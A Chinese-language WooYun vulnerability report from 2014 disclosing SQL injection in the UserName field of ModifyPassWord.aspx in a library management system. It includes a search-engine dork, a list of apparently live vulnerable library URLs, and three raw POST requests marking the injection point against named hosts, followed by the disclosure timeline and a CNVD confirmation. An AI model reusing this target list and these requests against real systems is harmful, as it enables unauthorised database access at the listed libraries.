当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086278

漏洞标题:某图书馆管理系统存在通用型SQL注入漏洞

相关厂商:深圳市科图自动化新技术应用公司

漏洞作者: 路人甲

提交时间:2014-12-07 19:20

修复时间:2015-03-07 19:22

公开时间:2015-03-07 19:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-07: 细节已通知厂商并且等待厂商处理中
2014-12-12: 厂商已经确认,细节仅向厂商公开
2014-12-15: 细节向第三方安全合作伙伴开放
2015-02-05: 细节向核心白帽子及相关领域专家公开
2015-02-15: 细节向普通白帽子公开
2015-02-25: 细节向实习白帽子公开
2015-03-07: 细节向公众公开

简要描述:

...

详细说明:

以为是首发,结果在平台搜索了一下,竟然存在
WooYun: 某图书馆自动化集成系统注入导致可写shell
这里注入的点与上面的不同。
---------------------------------
搜索: inurl:NTRdrLogin.aspx
漏洞页面:ModifyPassWord.aspx(修改密码处)
漏洞参数:UserName

收集的部分案例:
http://124.133.52.135/ModifyPassWord.aspx
http://opac.jxlib.gov.cn/ModifyPassWord.aspx
http://opac.its.csu.edu.cn/ModifyPassWord.aspx
http://ilas.pxlib.cn/ModifyPassWord.aspx
http://218.28.6.78/ModifyPassWord.aspx
http://218.195.101.103/ModifyPassWord.aspx
http://ilas.ynlib.cn/ModifyPassWord.aspx
http://opac.whsw.cn/ModifyPassWord.aspx
http://218.195.112.99/ModifyPassWord.aspx
http://202.96.165.98/ModifyPassWord.aspx
http://124.133.52.135/ModifyPassWord.aspx
http://210.34.212.78/ModifyPassWord.aspx
http://my.zslib.cn/ModifyPassWord.aspx
http://211.69.140.40/ModifyPassWord.aspx
http://218.64.118.42:88/ModifyPassWord.aspx
http://182.135.65.151:9999/ModifyPassWord.aspx


漏洞证明:
1# http://182.135.65.151:9999/ModifyPassWord.aspx

POST /ModifyPassWord.aspx HTTP/1.1
Host: 182.135.65.151:9999
Proxy-Connection: keep-alive
Content-Length: 225
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://182.135.65.151:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://182.135.65.151:9999/ModifyPassWord.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
__VIEWSTATE=%2FwEPDwULLTE5MzA2NTg3MThkZO33P%2Bh3EKvyu8kpaoeLykwc8GOf&UserName=*&TBEmail=test%40test.com&BtnLogin=%E7%A1%AE++%E5%AE%9A&__EVENTVALIDATION=%2FwEWBAKO7fn4BgKvruq2CALsr7KBDwLi44eGDKh0GCz39%2BF3vSmD7VSvwy%2FEZs5h


QQ图片20141207165243.jpg


2# http://211.69.140.40//ModifyPassWord.aspx

POST /ModifyPassWord.aspx HTTP/1.1
Host: 211.69.140.40
Proxy-Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://211.69.140.40
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://211.69.140.40/ModifyPassWord.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
__VIEWSTATE=%2FwEPDwULLTE5MzA2NTg3MThkZA0nM17Ps86NxFrKOTKh64BzCeD6&UserName=*&TBEmail=test%40test.com&BtnLogin=%E7%A1%AE++%E5%AE%9A&__EVENTVALIDATION=%2FwEWBALWkpYFAq%2Bu6rYIAuyvsoEPAuLjh4YM7GLoUlzmifZJZMX%2BSz8mXRc56Zk%3D


QQ图片20141207170026.jpg


3# http://my.zslib.cn/ModifyPassWord.aspx

POST /ModifyPassWord.aspx HTTP/1.1
Host: my.zslib.cn
Proxy-Connection: keep-alive
Content-Length: 220
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://my.zslib.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://my.zslib.cn/ModifyPassWord.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
__VIEWSTATE=%2FwEPDwULLTE5MzA2NTg3MThkZFfkXLchxneNN4wSpE5v6%2Fkh8Lrg&UserName=1&TBEmail=test%40test.com&BtnLogin=%E7%A1%AE++%E5%AE%9A&__EVENTVALIDATION=%2FwEWBALi7J%2BqDAKvruq2CALsr7KBDwLi44eGDCglaWf1GyuTLWI5zvNYuVjqC04y


QQ图片20141207170608.jpg


4# 更多的就不证明了…

漏洞证明:

↑↑↑

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-12-12 08:48

厂商回复:

CNVD确认并复现所述情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无